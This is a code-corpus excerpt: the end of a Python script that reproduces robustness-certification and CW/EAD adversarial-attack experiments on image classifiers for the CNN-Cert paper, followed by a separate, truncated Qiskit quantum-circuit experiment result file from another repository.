printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, spectral=True, cifar=cifar) printlog("Global-Lips (spectral)") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LBs.append(LBss) times.append(timess) return LBs, times #Runs all general activation function versions of CNN-Cert def run_all_general(file_name, num_image = 10, core=True, cifar=False, ada=True, onlyrelu=False, skipsigmoid=False): if len(file_name.split('_')) == 5: nlayer = file_name.split('_')[-3][0] filters = file_name.split('_')[-2] kernel_size = file_name.split('_')[-1] else: filters = None LBs = [] times = [] for norm in ['i', '2', '1']: LBss = [] timess = [] LB, time = run_cnn(file_name, num_image, norm, core=core, activation = 'relu', cifar= cifar) printlog("CNN-Cert-relu") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) if ada: LB, time = run_cnn(file_name, num_image, norm, core=core, activation = 'ada', cifar= cifar) printlog("CNN-Cert-Ada, ReLU activation") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) if not onlyrelu: if not skipsigmoid: LB, time = run_cnn(file_name + '_sigmoid', num_image, norm, core=core, activation = 'sigmoid', cifar= cifar) printlog("CNN-Cert-Ada, Sigmoid activation") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LB, time = run_cnn(file_name + '_tanh', num_image, norm, core=core, activation = 'tanh', cifar= cifar) printlog("CNN-Cert-Ada, Tanh activation") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LB, time = run_cnn(file_name + '_atan', num_image, norm, core=core, activation = 'arctan', cifar= cifar) printlog("CNN-Cert-Ada, Arctan activation") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LBs.append(LBss) times.append(timess) return LBs, times #Runs Dual LP version of fastlin def run_LP(layers, mlp_file_name, num_image=10, core=True, cifar=False): LBs = [] times = [] for norm in ['i', '2', '1']: LBss = [] timess = [] LB, time = run(999, len(layers)+1, num_image, norm, mlp_file_name, layers, lp=True, dual=True, cifar=cifar) printlog("Dual-LP") printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(mlp_file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LBs.append(LBss) times.append(timess) return LBs, times from CLEVER.collect_gradients import collect_gradients def run_CLEVER(file_name, num_image = 10, cifar=False, tinyimagenet=False): if len(file_name.split('_')) == 5: nlayer = file_name.split('_')[-3][0] filters = file_name.split('_')[-2] kernel_size = file_name.split('_')[-1] else: filters = None dataset = 'mnist' if cifar: dataset = 'cifar' if tinyimagenet: dataset = 'tinyimagenet' LBs = [] times = [] for norm in ['i', '2', '1']: LBss = [] timess = [] LB, time = collect_gradients(dataset, file_name, norm, num_image) printlog("CLEVER") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LBs.append(LBss) times.append(timess) return LBs, times #Runs global Lips bound def run_global(file_name, num_layers, num_image=10, cifar=False, tinyimagenet=False): if len(file_name.split('_')) == 5: filters = file_name.split('_')[-2] kernel_size = file_name.split('_')[-1] else: filters = None LBs = [] times = [] for norm in ['i', '2', '1']: LBss = [] timess = [] LB, time = run(999, num_layers+1, num_image, norm, file_name, [1 for i in range(num_layers+1)], spectral=True, dual=True, cifar=cifar, cnnmodel=True, tinyimagenet=tinyimagenet) printlog("Global-Lips (spectral)") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,len(layers)+1,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random".format(file_name,len(layers)+1,num_image,norm)) printlog("avg robustness = {:.5f}".format(LB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") LBss.append(LB) timess.append(time) LBs.append(LBss) times.append(timess) return LBs, times #Run all norm attacks def run_attack(file_name, sess, num_image = 10, cifar = False, tinyimagenet=False): if len(file_name.split('_')) == 5: nlayer = file_name.split('_')[-3][0] filters = file_name.split('_')[-2] kernel_size = file_name.split('_')[-1] else: filters = None UBs = [] times = [] for norm in ['i', '2', '1']: UB, time = cw_attack(file_name, norm, sess, num_image, cifar, tinyimagenet) printlog("CW/EAD") if filters: printlog("model name = {0}, numlayer = {1}, numimage = {2}, norm = {3}, targettype = random, filters = {4}, kernel size = {5}".format(file_name,nlayer,num_image,norm,filters,kernel_size)) else: printlog("model name = {0}, numimage = {1}, norm = {2}, targettype = random".format(file_name,num_image,norm)) printlog("avg robustness = {:.5f}".format(UB)) printlog("avg run time = {:.2f}".format(time)+" sec") printlog("-----------------------------------") UBs.append([UB]) times.append([time]) return UBs, times if __name__ == '__main__': LB = [] time = [] table = 13 print("==================================================") print("================ Running Table {} ================".format(table)) print("==================================================") print('CNN-Cert, fastlin and LP') printlog("Table {} result".format(table)) printlog("-----------------------------------") if table == 1: # Testing algorithm once LBs, times = run_all_relu([3380, 2880, 2420], 'models/mnist_cnn_4layer_5_3', 'models/mnist_cnn_as_mlp_4layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([13520, 11520, 9680], 'models/mnist_cnn_4layer_20_3', 'models/mnist_cnn_as_mlp_4layer_20_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_4layer_20_3') LB.append(LBs) time.append(times) if table == 3 or table == 4: #Table 3+4 LBs, times = run_all_relu([3380, 2880, 2420], 'models/mnist_cnn_4layer_5_3', 'models/mnist_cnn_as_mlp_4layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_LP([3380, 2880, 2420], 'models/mnist_cnn_as_mlp_4layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_all_relu([13520, 11520, 9680], 'models/mnist_cnn_4layer_20_3', 'models/mnist_cnn_as_mlp_4layer_20_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([3380, 2880, 2420,2000], 'models/mnist_cnn_5layer_5_3', 'models/mnist_cnn_as_mlp_5layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([4500, 3920, 3380, 2880, 2420, 2000], 'models/cifar_cnn_7layer_5_3', 'models/cifar_cnn_as_mlp_7layer_5_3', cifar=True, flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([9000, 7840, 6760, 5760], 'models/cifar_cnn_5layer_10_3', 'models/cifar_cnn_as_mlp_5layer_10_3', cifar=True, flfull=True) LB.append(LBs) time.append(times) if table == 5: # Table 5 LBs, times = run_all_general('models/mnist_cnn_lenet', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_7layer', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_lenet_nopool', onlyrelu=True, core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_4layer_5_3_bn', onlyrelu=True, core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_4layer_5_3', onlyrelu=True) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/tiny_cnn_7layer', onlyrelu=True) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_lenet', num_image=100, core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_4layer_5_3', num_image=100, ada=False) LB.append(LBs) time.append(times) if table == 6: #Table 6 LBs, times = run_all_general('models/mnist_resnet_2', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_resnet_3', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_resnet_4', core=False) LB.append(LBs) time.append(times) if table == 7: #Table 7 LBs, times = run_all_general('models/mnist_cnn_8layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_lenet', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_7layer', skipsigmoid=True) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_resnet_3', core=False) LB.append(LBs) time.append(times) if table == 8: #Table 8 LBs, times = run_all_relu([20], 'models/mnist_2layer_fc_20', 'models/mnist_2layer_fc_20', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_LP([20], 'models/mnist_2layer_fc_20') LB.append(LBs) time.append(times) LBs, times = run_all_relu([20,20], 'models/mnist_3layer_fc_20', 'models/mnist_3layer_fc_20', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_LP([20,20], 'models/mnist_3layer_fc_20') LB.append(LBs) time.append(times) if table == 10 or table == 11: #Table 10+11 LBs, times = run_all_relu([3380], 'models/mnist_cnn_2layer_5_3', 'models/mnist_cnn_as_mlp_2layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([3380, 2880], 'models/mnist_cnn_3layer_5_3', 'models/mnist_cnn_as_mlp_3layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([3380, 2880, 2420,2000,1620], 'models/mnist_cnn_6layer_5_3', 'models/mnist_cnn_as_mlp_6layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([3380, 2880, 2420,2000,1620,1280], 'models/mnist_cnn_7layer_5_3', 'models/mnist_cnn_as_mlp_7layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([3380, 2880, 2420,2000,1620,1280,980], 'models/mnist_cnn_8layer_5_3', 'models/mnist_cnn_as_mlp_8layer_5_3', flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([4500, 3920, 3380, 2880], 'models/cifar_cnn_5layer_5_3', 'models/cifar_cnn_as_mlp_5layer_5_3', cifar=True, flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([4500, 3920, 3380, 2880, 2420], 'models/cifar_cnn_6layer_5_3', 'models/cifar_cnn_as_mlp_6layer_5_3', cifar=True, flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([4500, 3920, 3380, 2880, 2420, 2000, 1620], 'models/cifar_cnn_8layer_5_3', 'models/cifar_cnn_as_mlp_8layer_5_3', cifar=True, flfull=True) LB.append(LBs) time.append(times) LBs, times = run_all_relu([6760, 5760, 4840], 'models/mnist_cnn_4layer_10_3', 'models/mnist_cnn_as_mlp_4layer_10_3', flfull=False) LB.append(LBs) time.append(times) LBs, times = run_all_relu([6760, 5760, 4840, 4000, 3240, 2560, 1960], 'models/mnist_cnn_8layer_10_3', 'models/mnist_cnn_as_mlp_8layer_10_3', flfull=False) LB.append(LBs) time.append(times) LBs, times = run_all_relu([9000, 7840, 6760, 5760, 4840, 4000], 'models/cifar_cnn_7layer_10_3', 'models/cifar_cnn_as_mlp_7layer_10_3', cifar=True, flfull=False) LB.append(LBs) time.append(times) LBs, times = run_all_relu([13520, 11520, 9680, 8000, 6480, 5120, 3920], 'models/mnist_cnn_8layer_20_3', 'models/mnist_cnn_as_mlp_8layer_20_3', flfull=False) LB.append(LBs) time.append(times) LBs, times = run_all_relu([18000, 15680, 13520, 11520], 'models/cifar_cnn_5layer_20_3', 'models/cifar_cnn_as_mlp_5layer_20_3', cifar=True, flfull=False) LB.append(LBs) time.append(times) LBs, times = run_all_relu([18000, 15680, 13520, 11520, 9680, 8000], 'models/cifar_cnn_7layer_20_3', 'models/cifar_cnn_as_mlp_7layer_20_3', cifar=True, flfull=False) LB.append(LBs) time.append(times) if table == 12: #Table 12 LBs, times = run_all_general('models/mnist_cnn_4layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_cnn_5layer_5_3',onlyrelu=True) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/cifar_cnn_7layer_5_3', cifar=True) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_resnet_2', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_resnet_4', core=False) LB.append(LBs) time.append(times) LBs, times = run_all_general('models/mnist_resnet_5', core=False) LB.append(LBs) time.append(times) if table == 13: #Table 13 LBs, times = run_all_general('models/mnist_cnn_8layer_5_3', core=False) LB.append(LBs) time.append(times) print(LB) print(time) print('CLEVER') if table == 3 or table == 4: #Table 3+4 LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_4layer_20_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_5layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/cifar_cnn_7layer_5_3', cifar=True) LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/cifar_cnn_5layer_10_3', cifar=True) LB.append(LBs) time.append(times) if table == 5: #Table 5 LBs, times = run_CLEVER('models/mnist_cnn_lenet') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_7layer') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_lenet_nopool') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3_bn') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/tiny_cnn_7layer', tinyimagenet=True, num_image = 1) LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_lenet', num_image=100) LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_4layer_5_3', num_image=100) LB.append(LBs) time.append(times) if table == 6: #Table 6 LBs, times = run_CLEVER('models/mnist_resnet_2') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_resnet_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_resnet_4') LB.append(LBs) time.append(times) if table == 7: #Table 7 LBs, times = run_CLEVER('models/mnist_cnn_8layer_5_3') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_lenet') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_cnn_7layer') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_resnet_3') LB.append(LBs) time.append(times) if table == 8: #Table 8 LBs, times = run_CLEVER('models/mnist_2layer_fc_20') LB.append(LBs) time.append(times) LBs, times = run_CLEVER('models/mnist_3layer_fc_20') LB.append(LBs) time.append(times) print(LB) print(time) print('CW/EAD') with K.get_session() as sess: if table == 3: #Table 3 LBs, times = run_attack('models/mnist_cnn_4layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_4layer_20_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_5layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_7layer_5_3', sess, cifar=True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_5layer_10_3', sess, cifar = True) LB.append(LBs) time.append(times) if table == 5: #Table 5 LBs, times = run_attack('models/mnist_cnn_lenet', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_7layer', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_lenet_nopool', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_4layer_5_3_bn', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_4layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/tiny_cnn_7layer', sess, tinyimagenet = True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_lenet', sess, num_image=100) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_4layer_5_3', sess, num_image=100) LB.append(LBs) time.append(times) if table == 6: #Table 6 LBs, times = run_attack('models/mnist_resnet_2', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_resnet_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_resnet_4', sess) LB.append(LBs) time.append(times) if table == 7: #Table 7 LBs, times = run_attack('models/mnist_cnn_8layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_lenet', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_7layer', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_resnet_3', sess) LB.append(LBs) time.append(times) if table == 8: # Table 8 LBs, times = run_attack('models/mnist_2layer_fc_20', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_3layer_fc_20', sess) LB.append(LBs) time.append(times) if table == 10: #Table 10 LBs, times = run_attack('models/mnist_cnn_2layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_3layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_6layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_7layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_8layer_5_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_5layer_5_3', sess, cifar=True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_6layer_5_3', sess, cifar=True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_8layer_5_3', sess, cifar=True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_4layer_10_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_8layer_10_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_7layer_10_3', sess, cifar = True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/mnist_cnn_8layer_20_3', sess) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_5layer_20_3', sess, cifar = True) LB.append(LBs) time.append(times) LBs, times = run_attack('models/cifar_cnn_7layer_20_3', sess, cifar = True) LB.append(LBs) time.append(times)

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experiment_results/exp_sim_regular_20190324T100329Z_archive.py

carstenblank/Quantum-classifier-with-tailored-quantum-kernels---Supplemental

7c3188f0b71e825bc8ce2b1577a93d10b34abdbc

[ "Apache-2.0" ]

11

2020-02-18T14:14:40.000Z

2021-10-10T12:19:23.000Z

experiment_results/exp_sim_regular_20190324T100329Z_archive.py

carstenblank/Quantum-classifier-with-tailored-quantum-kernels---Supplemental

7c3188f0b71e825bc8ce2b1577a93d10b34abdbc

[ "Apache-2.0" ]

null

experiment_results/exp_sim_regular_20190324T100329Z_archive.py

carstenblank/Quantum-classifier-with-tailored-quantum-kernels---Supplemental

7c3188f0b71e825bc8ce2b1577a93d10b34abdbc

[ "Apache-2.0" ]

2

2020-07-08T23:17:01.000Z

2021-09-27T03:13:32.000Z

# -*- coding: utf-8 -*- # Copyright 2019 Carsten Blank # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. result = {'experiment': {'qobj': {'qobj_id': '34b05c0a-368b-44aa-bdab-e6b7c82a3f8c', 'config': {'shots': 8192, 'memory_slots': 2, 'max_credits': 315, 'memory': False, 'n_qubits': 5}, 'experiments': [{'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1187', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 